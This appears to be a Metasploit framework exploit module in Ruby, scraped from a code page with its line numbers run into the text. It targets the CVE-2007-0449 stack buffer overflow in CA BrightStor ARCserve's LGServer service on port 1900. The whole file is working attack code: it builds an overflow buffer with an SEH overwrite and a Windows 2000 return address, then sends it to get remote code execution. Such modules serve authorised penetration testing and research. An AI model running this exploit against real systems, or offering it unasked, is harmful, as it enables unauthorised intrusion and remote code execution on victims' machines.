Path: blob/master/modules/exploits/windows/brightstor/lgserver.rb
19534 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'CA BrightStor ARCserve for Laptops and Desktops LGServer Buffer Overflow',16'Description' => %q{17This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup18for Laptops & Desktops 11.1. By sending a specially crafted request, an attacker could19overflow the buffer and execute arbitrary code.20},21'Author' => [ 'MC' ],22'License' => MSF_LICENSE,23'References' => [24[ 'CVE', '2007-0449' ],25[ 'OSVDB', '31593' ],26[ 'BID', '22342' ],27],28'Privileged' => true,29'DefaultOptions' => {30'EXITFUNC' => 'process',31},32'Payload' => {33'Space' => 600,34'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",35'StackAdjustment' => -3500,36},37'Platform' => 'win',38'Targets' => [39[ 'Windows 2000 Pro English All', { 'Ret' => 0x75022ac4 } ],40],41'DisclosureDate' => '2007-01-31',42'DefaultTarget' => 0,43'Notes' => {44'Reliability' => UNKNOWN_RELIABILITY,45'Stability' => UNKNOWN_STABILITY,46'SideEffects' => UNKNOWN_SIDE_EFFECTS47}48)49)5051register_options(52[53Opt::RPORT(1900)54]55)56end5758def exploit59connect6061filler = "0000016705" + rand_text_english(2322)62seh = generate_seh_payload(target.ret)63sploit = filler + seh + "\x58" * 0x41416465print_status("Trying target #{target.name}...")6667sock.put(sploit)68handler69disconnect70end71end727374